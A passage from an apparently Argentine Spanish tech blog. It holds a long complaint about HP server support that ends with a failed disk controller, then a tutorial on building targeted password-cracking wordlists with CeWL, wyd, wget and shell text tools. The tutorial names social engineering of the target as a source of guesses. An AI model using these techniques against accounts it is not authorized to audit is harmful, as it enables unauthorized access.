hacen bajar el famoso "easy setup cd" donde esta el insight diagnostics q es un software de testeo de hardware de HP, checkeo todo como me dice, le mando los resultados (todo ok) y me recomienda... upgrade de firmware!! la manera mas rapida de sacarse de encima a alguien cuando no se tiene idea de q pasa.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">hago el upgrade y a los 10 minutos ya tengo al tipo preguntandome si esta todo ok y q si puede cerrar el caso. lo mantengo hasta el otro dia q me llama al mediodia, le pido q lo deje abierto un tiempo mas y me vuelve a llamar a las 6 de la tarde cuando le digo q lo cierre si quiere (y q me deje de joder!). pareciera q lo unico q les interesa es "cerrar el caso", q sentido tiene si la falla aparece cada 48hs o mas?</div><div><br /></div><div><br /></div><div><b><span class="Apple-style-span" style="font-size: medium;"><span class="Apple-style-span" style="color: yellow;">linux=lepra</span></span></b></div><div><br /></div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://lh4.googleusercontent.com/-kkDE6yRUvJY/TXk5xolIsVI/AAAAAAAAAQk/G99pBdXAJII/s1600/linux.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="279" src="https://lh4.googleusercontent.com/-kkDE6yRUvJY/TXk5xolIsVI/AAAAAAAAAQk/G99pBdXAJII/s320/linux.jpg" width="320" /></a></div><div style="text-align: justify;">a todo esto cuando se dieron cuenta q corria centos me trataron como si tuviera lepra, enseguida aclararon q no se hacian cargo de ese sistema y me mandaron a los foros de centos. xq problema de hardware segun ellos no era... raro, el manual dice q si pero los tecnicos dicen q no...</div></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">en realidad la hicieron facil, si queres soporte pagate un win o la suscripcion a redhat (q es lo mismo q centos) y recien despues de q veamos q no hay problema en el sistema podemos decir q es hardware y empezar a ver q es. en resumen... arreglatelas solo x usar linux.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">y el "next day coverage"?... bien, gracias.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">me canse de recorrer foros preguntando y ni los mas "gurus" tenian idea si no era hard, se tejieron teorias descabelladas, llegue a hacer cosas q ni tenia idea q existian (eso lo agradezco) y sobre todo perdi mucho tiempo... meses.</div><div><br /></div><div style="text-align: justify;">cuando me aburri de hacer pruebas y cambiar cosas sin ningun resultado decidi migrar los servicios a otro equipo exactamente igual comprado justo antes de este problema (sin carepack), y en el cual corren los servicios hasta hoy en la misma configuracion exacta sin un solo problema jamas. con el tema de las caidas del correo solucionado tenia el server libre para probar lo q quisiera sin tener q dejar sin servicio a nadie.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">lo 1ero q hago es bajar todo lo q puedo y se sigue colgando, lo formateo y reinstalo desde 0 y se sigue colgando, health led en rojo, etc... a todo esto pasan meses dado q hay q esperar la falla para ver si los cambios surten efecto, no es tan simple como cambiar algo y probar... </div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">"next day coverage"... ja. ok, le pongo win server a ver si me hacen caso o tal vez "milagrosamente" se arregle x el poder de billy... no se rian, windows no es taaaaaan malo como dicen ;)</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">con 2003 server x64 al principio anda bien pero a las 2 semanas se empieza a reiniciar, en lugar de cuelgue y led en rojo reinicio. lo dejo unos meses mas... le meto maquinas virtuales, lo hago trabajar, q se reinicie, q haga lo q quiera... q se queme, hasta q no pase eso no se van a hacer cargo.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">en diciembre empieza a aparecer el led rojo otra vez y igual q antes no se puede reiniciar sin sacar la corriente... ya no le quedaba mucho... xD</div><div><br /></div><div><br /></div><div><b><span class="Apple-style-span" style="font-size: medium;"><span class="Apple-style-span" style="color: yellow;">uncorrectable error</span></span></b></div><div><br /></div><div style="text-align: justify;">un dia, como tenia q ser, no volvio a prender. despues de reiniciarla me tira en pantalla:</div><div><br /></div><div><i>PCI Express Uncorrectable Error </i></div><div><i>System Halted</i></div><div><br /></div><div style="text-align: justify;">no ve el disco en el setup, como consecuencia no carga sistema... ya esta, algo se rompio, ahora no me vengan con boludeces...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">abro caso explicando todo con detalle, incluyendo los numeros de los casos anteriores de hace meses. me responden lo siguiente:</div><div><br /></div><div><a href="https://lh4.googleusercontent.com/-VCkZDy7wo28/TXk33PtykmI/AAAAAAAAAQY/Ip8jORp2Z2A/s1600/helpdesk.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="232" src="https://lh4.googleusercontent.com/-VCkZDy7wo28/TXk33PtykmI/AAAAAAAAAQY/Ip8jORp2Z2A/s320/helpdesk.gif" width="320" /></a><i><span class="Apple-style-span" style="font-style: normal;"></span><div><span class="Apple-style-span" style="font-style: normal; "><i><div style="display: inline !important; "><span class="Apple-style-span" style="font-style: normal; "><i><br /></i></span></div></i></span></div><div><span class="Apple-style-span" style="font-style: normal; "><i><div style="display: inline !important; "><span class="Apple-style-span" style="font-style: normal; "><i>1. El OS puede ser que no cargue dado que se cargaron Defaults y si tiene algún RAID no fue configurado de vuelta.</i></span></div></i></span></div></i></div><div><i>Tendría que configurarlo de vuelta.</i></div><div><i>2. Necesitamos por favor realizar actualizaciones de Firmware en el servidor:</i></div><div><i>http://h20000.www2.hp.com/bizsupport/TechSupport/xxxxxx</i></div><div><i>3. Dado que no tenemos un estimado de tiempo entre bloqueo y bloqueo, podremos correr nuevamente el Insight Diagnostics Offline y correrlo con 20 loops o bucles de manera que el servidor tengo que manejar mucha carga por bastante tiempo y luego enviarnos los resultados.</i></div><div><br /></div><div>1. no soy estupido, ya checkee eso.</div><div>2. otra vez? cual es el punto? no ve el rigido!!</div><div>3. idem</div><div><br /></div><div style="text-align: justify;">hago el upgrade... nada... hago el diagnostico con 20 loops, todo ok salvo q como era logico no ve el rigido y no lo checkea. mando resultados y me pregunta q dispositivos tengo instalados (recien veia el msg de error parece) y le respondo q "no se le instalo nada, esta como viene de fabrica, debe ser el smart array"... le tengo q decir yo q dispositivos tienen sus equipos... es el colmo!</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">ademas me pide otro loop de tests (si, otro mas) y un survey completo q es como correr un everest mas o menos. y pasan los dias...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">me empieza a llamar x telefono, no se xq ya q hasta ese momento nos comunicabamos perfectamente x correo y alega q no me encuentra y q me deja correos de voz q jamas encuentro, asi pasa mas de una semana desde la apertura del caso hasta q logra llamarme y me pide q resetee la bios y q saque y vuelva a poner la "riser card" q es una placa de expansion q no hace nada ya q en mi caso no tiene nada conectado... ok, lo pruebo.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">como es logico no pasa nada, le comunico los resultados y me dicen q me van a enviar una para q yo la cambie... ya mas de 10 dias. no era "servicio al dia siguiente"?</div><div><br /></div><div><br /></div><div><b><span class="Apple-style-span" style="font-size: medium;"><span class="Apple-style-span" style="color: yellow;">riser card</span></span></b></div><div><br /></div><div style="text-align: justify;">despues de un par de dias tengo la placa en mis manos, es un componente tan estupido q ni pude encontrar una foto pero es algo parecido a esto:</div><div><br /></div><div><a href="http://3.bp.blogspot.com/-V7VOeWNRsT8/TXkuyIinJFI/AAAAAAAAAQI/OAKt79K-WIc/s1600/riser.jpg"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5582544651923432530" src="http://3.bp.blogspot.com/-V7VOeWNRsT8/TXkuyIinJFI/AAAAAAAAAQI/OAKt79K-WIc/s320/riser.jpg" style="cursor: pointer; display: block; height: 167px; margin-bottom: 10px; margin-left: auto; margin-right: auto; margin-top: 0px; text-align: center; width: 320px;" /></a></div><div><br /></div><div><br /></div><div style="text-align: justify;">la cambio, vuelvo a resetear bios... nada, claro. le mando correo al tecnico informando los resultados, me dice q hay q cerrar el caso y abrir otro... ya ibamos mas de 15 dias y mi paciencia se empezaba a agotar. abro un nuevo caso, y van...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">el 1er correo q recibo del tec dice asi:</div><div><br /></div><div><i>Me podria decir cual sistema operativo esta corriendo en este servidor?</i></div><div><i><br /></i></div><div><i>Entre mas detallado mejor, service pack, release y tipo.</i></div><div><br /></div><div style="text-align: justify;">otra vez??... ya les puse en todos los casos anteriores el sistema q tenia... "tenia" bien digo xq "no reconoce el rigido!!". es q no miran el historial? aunque sea los ultimos... le respondo resumido:</div><div><br /></div><div><i>... El equipo actualmente corre Windows 2003 server x64 sp3, de todas maneras, como te decia el problema viene mucho mas de abajo ya que ni siquiera reconoce la unidad de disco, de manera que tenga el sistema que tenga vamos a estar en el mismo problema...</i></div><div><i><br /></i></div><div><i>... Ante la imposibilidad de solucionar el problema por el lado del sistema operativo se migro a plataforma Windows donde el equipo empezo hace unas semanas a mostrar los mismos sintomas de cuelgue con el health led en rojo...</i></div><div><br /></div><div>a lo q me responde:</div><div><br /></div><div><i>Lo que voy a hacer es comunicarme con los agentes que vieron estos casos y solicitar que pongamos todos los datos juntos, le estare comunicando pronto una resolucion.</i></div><div><br /></div><div style="text-align: justify;">y a los tres (3) dias, pasados ya veinte (20) con el server caido, me manda la resolucion de la "junta":</div><div><br /></div><div><i>... Creemos que lo mas apropiado es remplazar la tarjeta madre, ya habiendo cambiado el riser solo nos quedaria cambiar la entrada del mismo al sistema que esta en la tarjeta madre.</i></div><div><i><br /></i></div><div><i>Se procedera al envio de la misma, para su remplazo se le recuerda tener la tarjeta vieja para el intercambio...</i></div><div><br /></div><div style="text-align: justify;">naaaahhhh... ese fue el punto maximo. no tengo problemas en cambiar un capacitor de flujo de delorean si tengo q hacerlo pero se supone q estoy pagando un servicio "al dia siguiente" y despues de 20 dias de vueltas me dicen q me envian el mobo para q lo cambie yo? y encima no me manda ni un procedimiento? xD... de terror!!</div><div><br /></div><div><br /></div><div><b><span class="Apple-style-span" style="font-size: medium;"><span class="Apple-style-span" style="color: yellow;">perdon... nos equivocamos</span></span></b></div><div><br /></div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://lh6.googleusercontent.com/-kFGVRaAHu3Q/TXk4jsBWNWI/AAAAAAAAAQc/Pssk2461PlU/s1600/helpdesk2.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="320" src="https://lh6.googleusercontent.com/-kFGVRaAHu3Q/TXk4jsBWNWI/AAAAAAAAAQc/Pssk2461PlU/s320/helpdesk2.jpg" width="229" /></a></div>ya en este punto, entre otras cosas le contesto:</div><div><br /></div><div><i>... Me gustaria tambien saber hasta donde tiene que escalar el problema para que un tecnico de la empresa se acerque al lugar de la incidencia ya que en el CarePack del equipo que tengo en mis manos claramente dice "Soporte de hardware en las instalaciones del cliente"...</i></div><div><i><br /></i></div><div><i>... Quien va a pagar el tiempo de productividad perdido?...</i></div><div><i><br /></i></div><div><i>... la falla se remonta a unos pocos meses despues de comprado el equipo, momento en el cual se negaron a reconocerlo como problema de hardware...</i></div><div><br /></div><div>a lo q me responde:</div><div><br /></div><div><i>... En relacion al tipo de contrato que tiene con nosotros me temo que el servidor DL160 G6 con numero de serie XXXXXXXXXX no posee en nuestros registros el tipo de contrato que usted nos menciona, si tiene un numero de contrato o una copia en formato PDF que nos pueda proveer, podemos mandar este caso a validar con una garantia o contrato diferente al que tenemos.</i></div><div><i><br /></i></div><div><i>Espero su respuesta para hacer el envio de la parte.</i></div><div><br /></div><div style="text-align: justify;">validar? pdf? enviar la parte? para el q no conoce el sistema, al cargar un equipo se lo asocia al carepack correspondiente y ya queda asi para todo. al abrir un caso en el encabezado sale automaticamente el numero de contrato y con un simple click se puede ver todo lo q incluye. todo esta perfectamente categorizado y no hay lugar para equivocaciones... o parece q si. le respondo ya bastante enojado:</div><div><br /></div><div><i>... En mi perfil del ITRC de HP puedo ver el CarePack num G0KXXXXXXXX asociado al PN XXXXXX-XXX con SN XXXXXXXXX (adjunto captura) el cual cargue en el momento de crear el usuario hace un año, tambien se ve claramente en el encabezado del caso bajo el campo "Support Service Identifier".</i></div><div><i><br /></i></div><div><i>Mi pregunta es, ese contrato cubre o no lo que te mencione anteriormente? Porque lo compramos como que si lo hacia. Si no lo cubre te agradeceria que me lo informaras para tomar las medidas necesarias ya que no puedo estar mas tiempo dando vueltas con el servidor...</i></div><div><br /></div><div style="text-align: justify;">ya todo esto copiando a la parte directiva de la empresa xq el problema se estaba yendo de la orbita de IT, estabamos a un paso de tomar acciones legales. me pidieron hacer un resumen del historial del server, armamos una carta formal para HP y fuimos a ver al abogado de la empresa, nos dijo q enviemos la carta y esperemos respuesta durante una semana, si no hay respuesta... carta documento.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">mientras tanto me contestan de HP, donde parece q encontraron mi carepack:</div><div><br /></div><div><i>... sin embargo el caso fue entitulado a la hora de ser creado de manera incorrecta y el mismo no aparece con el servicio en sitio, cuando si lo posee, para no crear un problema en su servicio, si me lo permite, crearemos un caso nuevo en el cual pondremos todo el historial del mismo y se le enviara el ingeniero con la parte a remplazar...</i></div><div><br /></div><div style="text-align: justify;">"entitulado de manera incorrecta?"... donde? si en el "entitulado" veo perfectamente el num del care pack? ya no saben q decir... HP!! q verguenza!! le respondo:</div><div><br /></div><div><i>Adjunto capturas del 1er y ultimo casos de mi perfil, en los cuales se puede ver claramente el num de CarePack asociado con el equipo. No termino de comprender donde esta el "entitulado de manera incorrecta" ya que obviamente esta ahi y que en las caracteristicas del mismo sin dudas dice "onsite support" (captura enviada ayer). Todos estos datos son de su propio sistema...</i></div><div><i><br /></i></div><div><i>... Crea el nuevo caso o hace lo que haga falta para que alguien venga cuanto antes a hacer el arreglo...</i></div><div><br /></div><div style="text-align: justify;">ni me contesto, cerro el caso y abrio otro... si, otro mas... envio de parte, actividades pendientes, parte en transito, siguen pasando los dias hasta q la parte llega a argentina y me contacta un tecnico local diciendome q tiene el mobo para reemplazar.</div><div><br /></div><div><br /></div><div><b><span class="Apple-style-span" style="font-size: medium;"><span class="Apple-style-span" style="color: yellow;">el fin de la pesadilla?</span></span></b></div><div><br /></div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://lh3.googleusercontent.com/-FDuW5Ih-N-4/TXk47t9fFkI/AAAAAAAAAQg/aOyYizwrVls/s1600/hpcostarica.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://lh3.googleusercontent.com/-FDuW5Ih-N-4/TXk47t9fFkI/AAAAAAAAAQg/aOyYizwrVls/s1600/hpcostarica.jpg" /></a></div><div style="text-align: justify;">en ese momento parecia q todo se iba arreglar... hasta entonces hablaba solamente con gente de costa rica, HP paso el soporte alla ya q obviamente es mas barato. lo q no calcularon son los problemas q todo esto trae en cuanto a tiempos de respuesta, atencion, comunicacion, etc. cuando el soporte lo daban aca mismo la atencion era muy distinta. no tengo nada contra la gente de costa rica pero es obvio q esto pasa con todos los servicios q se manejan asi... en la distancia la cosa es distinta.</div></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">en HP argentina se deshacian en disculpas x lo ocurrido y enseguida vino el tecnico a hacer el reemplazo. mas alla de detalles, lo cambio, siguio la misma falla y despues de horas de pruebas llegamos a la conclusion de q el problema no era eso sino simplemente el famoso "smart array" q estaba fallando. no quedaba otra q sentarse a esperar la placa, dado q despues de un mes los "craneos" q se juntaron habian dado un diagnostico erroneo, pero claro... siempre lo mas facil... cambia el mobo, hace upgrade de bios... hacete 500 loops, tomate 2 aspirinas y volve la semana q viene...</div><div><br /></div><div style="text-align: justify;">al mes y una semana vuelve el tecnico con la placa, la cambia y el equipo como nuevo. casi un año de problemas x una simple controladora de disco q vino mal de fabrica. bah... "de fabrica" mas bien refurbished igual q el mobo q me pusieron y la "riser card" q me mandaron... igual q ahora estaran poniendo la q mande yo en algun DL160 en algun lugar del 3er mundo... en fin, eso es otro tema.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">mucha disculpa pero nadie me ofrecio nada en compensacion, ni siquiera lo logico q seria una extension del carepack x el año q perdi sin respuesta. tampoco lo pedi en realidad, en estos casos lo mejor es sacartelos de encima. el proximo server q tenga q comprar pueden estar seguros q no va a ser HP... y no xq este disconforme en particular con sus equipos, sino xq la atencion fue por mucho la peor q recibi en mi vida x un servicio pago.</div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-5768602509159742413?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com2tag:blogger.com,1999:blog-3031385326498684086.post-47013105346150366112011-02-08T16:43:00.004-03:002011-05-07T17:01:38.754-03:00<a href="http://4.bp.blogspot.com/_rgCsrVyHiHw/TVClT2UmxoI/AAAAAAAAAPY/eAb6x4MG2Ag/s1600/password.jpg"><img src="http://4.bp.blogspot.com/_rgCsrVyHiHw/TVClT2UmxoI/AAAAAAAAAPY/eAb6x4MG2Ag/s320/password.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5571134499475342978" style="float: right; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 10px; cursor: pointer; width: 273px; height: 320px; " /></a><div style="text-align: justify; ">es muy comun en las auditorias de seguridad (y x supuesto en el hacking) el uso de wordlists (o diccionarios) para buscar claves debiles en un sistema. el procedimiento de crackeo de la clave es simple, se utiliza alguna herramienta, segun el caso, q vaya probando passwords hasta dar con la correcta.</div><div style="text-align: justify; "><br /></div><div style="text-align: justify; ">en el caso de claves online la historia es mas complicada ya que se utilizan sistemas para blockear al atacante cada X numero de intentos. en los servidores q administro x ej suelo instalar fail2ban q hace muy bien el trabajo, se puede configurar numero de intentos, tiempo del ban, envio de correo con el log y whois del ataque, etc.</div><div style="text-align: justify; "><br /></div><div style="text-align: justify; ">la idea entonces es hacerse con la clave encriptada (hash) para despues crackearla tranquilo en la comodidad de nuestros hogares. la manera de obtener el hash tanto como el proceso de crackeo es algo a lo q no me voy a referir ya que esta entrada es sobre otro tema (y depende del caso especifico), pero se supone q si estan buscando wordlists ya saben para q las quieren y tendran su john the ripper (o el q sea) preparado.</div><div><br /></div><div><br /></div><div><span class="Apple-style-span" style="font-size: large; "><b><span class="Apple-style-span" style="color: yellow; ">tipos de crackeo</span></b></span></div><div><br /></div><div style="text-align: justify; ">hay varios formas de intentar crackear 1 hash pero el tiempo depende de varios factores, la velocidad de procesamiento del sistema es muy importante pero tambien el tipo de encriptacion q tiene el hash, al aumentar la complejidad del algoritmo obviamente aumenta el tiempo del proceso.</div><div style="text-align: justify; "><br /></div><div style="text-align: justify; ">se puede ver mucho x ahi gente pidiendo "wordlists para ataque de fuerza bruta", eso es en realidad un error de concepto, no xq no se pueda hacer sino porque son 2 cosas distintas. 1 ataque x fuerza bruta es el que va probando todas las combinaciones hasta dar con la correcta, dentro de esta posibilidad tenemos q fijarnos en los tipos de caracteres q puede incluir la password (mayusculas, minusculas, signos de puntuacion y numeros). supongamos q simplemente buscaramos letras minusculas el sistema iria probando todo el abecedario y luego:</div><div style="text-align: justify; "><br /></div><div>aa</div><div>ab</div><div>ac... hasta az y despues:</div><div><br /></div><div>ba</div><div>bb</div><div>bc...</div><div><br /></div><a href="http://2.bp.blogspot.com/_rgCsrVyHiHw/TVCngNA7XGI/AAAAAAAAAPg/pKx7VhfFVLY/s1600/forgotpass.jpg"><img src="http://2.bp.blogspot.com/_rgCsrVyHiHw/TVCngNA7XGI/AAAAAAAAAPg/pKx7VhfFVLY/s320/forgotpass.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5571136910748507234" style="float: left; margin-top: 0px; margin-right: 10px; margin-bottom: 10px; margin-left: 0px; cursor: pointer; width: 224px; height: 320px; " /></a><div style="text-align: justify; ">y asi sucesivamente hasta completar los campos q le hayamos indicado, si fueran 8 llegaria hasta "zzzzzzzz".</div><div style="text-align: justify; "><br /></div><div style="text-align: justify; ">esto obviamente lleva muchisimo tiempo, dependiendo de la extension de la password y la complejidad del algoritmo tal vez... para siempre... je</div><div style="text-align: justify; "><br /></div><div style="text-align: justify; ">pero como somos seres humanos y a la mayoria le cuesta recordar secuencias de caracteres sin sentido, un gran porcentaje de los usuarios utiliza passwords que son simples palabras q se pueden encontrar en 1 diccionario. en este punto es donde entran en juego las wordlists. seguramente no van a crackear la pass del server de la nasa con 1 wordlist pero para cuentas de users normales suelen funcionar bastante bien si se usa la correcta.</div><div style="text-align: justify; "><br /></div><div style="text-align: justify; ">con el diccionario solamente probamos las palabras q se encuentran en el, sin perder tiempo en secuencias sin sentido y ahorrando de esta forma muchisimo tiempo de proceso. el tema es q la palabra este en la lista, sino x supuesto q no vamos a obtener ningun resultado.</div><div style="text-align: justify; "><br /></div><div><br /></div><div><span class="Apple-style-span" style="font-size: large; "><b><span class="Apple-style-span" style="color: yellow; ">creando wordlists</span></b></span></div><div><br /></div><div style="text-align: justify; ">la mejor opcion entonces es crear nuestra propia wordlist basados en las necesidades de cada caso. es importante la ingenieria social, investigar al objetivo para tener 1 idea de lo q puede poner como pass, usar nombres de productos si se trata de 1 empresa q fabrica algo, constelaciones si son astronomos, drogas si son quimicos, nombres de equipos y jugadores si esta relacionado con algun deporte, etc.</div><div style="text-align: justify; "><br /></div><div style="text-align: justify; ">los otros dias necesitaba una lista especifica, nombres permitidos en argentina... en la red se pueden encontrar muchas wordlists especificas y generales en todos los idiomas (la mayoria en ingles), pero es imposible encontrar algo tan especifico como lo q buscaba asi q no me quedo otra q hacermela yo mismo.</div><div style="text-align: justify; "><br /></div><div style="text-align: justify; ">la informacion se encuentra facilmente en google (en el reg civil x ej) pero no en forma de lista, y copiar y pegar es practicamente imposible. me disponia a usar metodos prehistoricos con wget y algun script para manipular los datos, cuando me encontre con 1 interesante utilidad q automatiza el trabajo.</div><div style="text-align: justify; "><br /></div><div style="text-align: justify; ">voy a explicar los 2 metodos, xq aunque al final termine usando el viejo y fiel wget me gusto el programita. se llama:</div><div style="text-align: justify; "><br /></div><div><br /></div><div><span class="Apple-style-span" style="font-size: large; "><b><span class="Apple-style-span" style="color: yellow; ">CeWL</span></b></span> (se pronuncia cool)</div><div><br /></div><div>se puede descargar de aca:</div><div><br /></div><div><i>http://www.digininja.org/files/cewl_3.0.tar.bz2</i></div><div><br /></div><div>y la pagina con instrucciones (en ingles) aca:</div><div><br /></div><div><i>http://www.digininja.org/projects/cewl.php</i></div><div><br /></div><div>basicamente hay q tener instalado ruby y las siguientes gems:</div><div><br /></div><div><div><i>hpricot</i></div><div><i>http_configuration</i></div><div><i>mime-types</i></div><div><i>mini_exiftool</i></div><div><i>rubyzip</i></div><div><i>spider</i></div></div><div><br /></div><div>se instalan con:</div><div><br /></div><div><i>gem install</i> nombredelgem</div><div><br /></div><div>y hay q setear la variable RUBYOPT con el valor rubygems:</div><div><br /></div><div><i>export RUBYOPT=rubygems</i></div><div><br /></div><div style="text-align: justify; ">no esta en las instrucciones pero tuve q intalar tambien la libreria "libimage-exiftool-perl", xq me daba un error. para otros errores fijense en la pagina. el help de cewl devuelve:</div><div style="text-align: justify; "><br /></div><div><div><div><i>$ ./cewl.rb --help</i></div><div><i>cewl 3.0 Robin Wood (dninja@gmail.com) (www.digininja.org)</i></div><div><i><br /></i></div><div><i>Usage: cewl [OPTION] ... URL</i></div><div><span class="Apple-tab-span" style="white-space: pre; "><i> </i></span><i>--help, -h: show help</i></div><div><span class="Apple-tab-span" style="white-space: pre; "><i> </i></span><i>--depth x, -d x: depth to spider to, default 2</i></div><div><span class="Apple-tab-span" style="white-space: pre; "><i> </i></span><i>--min_word_length, -m: minimum word length, default 3</i></div><div><span class="Apple-tab-span" style="white-space: pre; "><i> </i></span><i>--offsite, -o: let the spider visit other sites</i></div><div><span class="Apple-tab-span" style="white-space: pre; "><i> </i></span><i>--write, -w file: write the output to the file</i></div><div><span class="Apple-tab-span" style="white-space: pre; "><i> </i></span><i>--ua, -u user-agent: useragent to send</i></div><div><span class="Apple-tab-span" style="white-space: pre; "><i> </i></span><i>--no-words, -n: don't output the wordlist</i></div><div><span class="Apple-tab-span" style="white-space: pre; "><i> </i></span><i>--meta, -a file: include meta data, optional output file</i></div><div><span class="Apple-tab-span" style="white-space: pre; "><i> </i></span><i>--email, -e file: include email addresses, optional output file</i></div><div><span class="Apple-tab-span" style="white-space: pre; "><i> </i></span><i>--meta-temp-dir directory: the temporary directory used by exiftool when parsing files, default /tmp</i></div><div><span class="Apple-tab-span" style="white-space: pre; "><i> </i></span><i>-v: verbose</i></div><div><i><br /></i></div><div><span class="Apple-tab-span" style="white-space: pre; "><i> </i></span><i>URL: The site to spider.</i></div></div></div><div><br /></div><div style="text-align: justify; ">el uso es bastante simple supongamos q queremos descargar el contenido de "www.yahoo.com" en el archivo "lista", pondriamos:</div><div style="text-align: justify; "><br /></div><div><i>./cewl.rb -w lista www.yahoo.com</i></div><div><br /></div><div style="text-align: justify; ">con el resto de las opciones se pueden hacer cosas bastante interesantes como setear un minimo de caracteres, la cantidad de links, etc... cosa de experimentar 1 poco...</div><div style="text-align: justify; "><br /></div><div><br /></div><div><span class="Apple-style-span" style="font-size: large; "><b><span class="Apple-style-span" style="color: yellow; ">con el viejo wget ;)</span></b></span></div><div><br /></div><a href="http://2.bp.blogspot.com/_rgCsrVyHiHw/TVCqFRzugYI/AAAAAAAAAPo/kQ92wq_UJV0/s1600/evilpenguin.jpg"><img src="http://2.bp.blogspot.com/_rgCsrVyHiHw/TVCqFRzugYI/AAAAAAAAAPo/kQ92wq_UJV0/s320/evilpenguin.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5571139746713731458" style="float: right; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 10px; cursor: pointer; width: 267px; height: 320px; " /></a><div style="text-align: justify; ">con wget y 1 sencillo script a medida podemos obtener los mismos resultados, como el script depende de lo q quieran hacer solamente voy a nombrar los comandos de manipulacion para q cada uno los use como quiera.</div><div style="text-align: justify; "><br /></div><div>para descargar la pagina con wget:</div><div><br /></div><div><i>wget -r -l 1 -nd paginaadescargar</i></div><div><br /></div><div style="text-align: justify; ">"-r" descarga recursivamente la pagina, "-l" especifica el nivel de profundidad y "-nd" q no se creen los directorios. con esto obtenemos los archivos q componen la pagina, seleccionamos lo q nos interesa y procedemos a extraer el contenido y ordenarlo 1 poco, para eso vamos a usar wyd q es 1 script en perl q se puede descargar desde aca:</div><div style="text-align: justify; "><br /></div><div><i>http://www.remote-exploit.org/wp-content/uploads/2010/01/wyd-0.2.tar.gz</i></div><div><br /></div><div>simplemente lo descomprimimos y lo ejecutamos. el help:</div><div><br /></div><div><div><i>$ ./wyd.pl --help</i></div><div><i><br /></i></div><div><i>*</i></div><div><i>* ./wyd.pl 0.2 by Max Moser and Martin J. Muench</i></div><div><i>*</i></div><div><i><br /></i></div><div><i>Unknown option: help</i></div><div><i>Usage: ./wyd.pl [OPTIONS]<file(s)|directory></file(s)|directory></i></div><div><i><br /></i></div><div><i>Options:</i></div><div><i><br /></i></div><div><i>-o <file>= Write wordlist to<file></file></file></i></div><div><i>-t = Separate wordlist files by type, e.g. '<file>.doc'</file></i></div><div><i>-s <min-len>= Use 'strings' for unsupported files</min-len></i></div><div><i>-b = Disable removal of non-alpha chars at beginning of word</i></div><div><i>-e = Disable removal of non-alpha chars at end of word</i></div><div><i>-f = Disable inclusion of filenames in wordlist</i></div><div><i>-v = Show debug / verbose output</i></div><div><i>-n = Continue even if programs / modules are missing</i></div></div><div><br /></div><div style="text-align: justify; ">suponiendo q tenemos el contenido q descargamos en el directorio download/ tendriamos q ingresar:</div><div style="text-align: justify; "><br /></div><div><i>./wyd.pl -n -o nombredelarchivoagenerar.txt download/</i></div><div><br /></div><div style="text-align: justify; ">con esto ya tenemos una lista con todas las palabras q estaban en las paginas q descargamos, solo hay q limpiarla y ordenarla 1 poco, para esto nos sobra con los comandos de manejo de cadenas q trae bash. vamos a ver lo mas basico....</div><div style="text-align: justify; "><br /></div><div><br /></div><div><span class="Apple-style-span" style="font-size: large; "><b><span class="Apple-style-span" style="color: yellow; ">ordenando las listas</span></b></span></div><div><br /></div><div>empecemos x ordenar alfabeticamente:</div><div><br /></div><div><i>sort -d lista &gt; listaordenada</i></div><div><br /></div><div>borrar entradas repetidas:</div><div><br /></div><div><i>uniq listaordenada &gt; listaunica</i></div><div><br /></div><div style="text-align: justify; ">ya tenemos una lista ordenada alfabeticamente y sin palabras repetidas ("listaunica"). muchas veces aparece el problema de palabras q quedan con algun caracter pegado al principio o al final o cadenas q queremos remover xq contienen algun caracter raro o lo q sea, para eso usamos sed (StreamEDitor)... el help de sed:</div><div style="text-align: justify; "><br /></div><div><div><i>$sed --help</i></div><div><i>Usage: sed [OPTION]... {script-only-if-no-other-script} [input-file]...</i></div><div><i><br /></i></div><div><i>-n, --quiet, --silent</i></div><div><i>suppress automatic printing of pattern space</i></div><div><i>-e script, --expression=script</i></div><div><i>add the script to the commands to be executed</i></div><div><i>-f script-file, --file=script-file</i></div><div><i>add the contents of script-file to the commands to be executed</i></div><div><i>-i[SUFFIX], --in-place[=SUFFIX]</i></div><div><i>edit files in place (makes backup if extension supplied)</i></div><div><i>-l N, --line-length=N</i></div><div><i>specify the desired line-wrap length for the `l' command</i></div><div><i>--posix</i></div><div><i>disable all GNU extensions.</i></div><div><i>-r, --regexp-extended</i></div><div><i>use extended regular expressions in the script.</i></div><div><i>-s, --separate</i></div><div><i>consider files as separate rather than as a single continuous</i></div><div><i>long stream.</i></div><div><i>-u, --unbuffered</i></div><div><i>load minimal amounts of data from the input files and flush</i></div><div><i>the output buffers more often</i></div><div><i>--help display this help and exit</i></div><div><i>--version output version information and exit</i></div><div><i><br /></i></div><div><i>If no -e, --expression, -f, or --file option is given, then the first</i></div><div><i>non-option argument is taken as the sed script to interpret. All</i></div><div><i>remaining arguments are 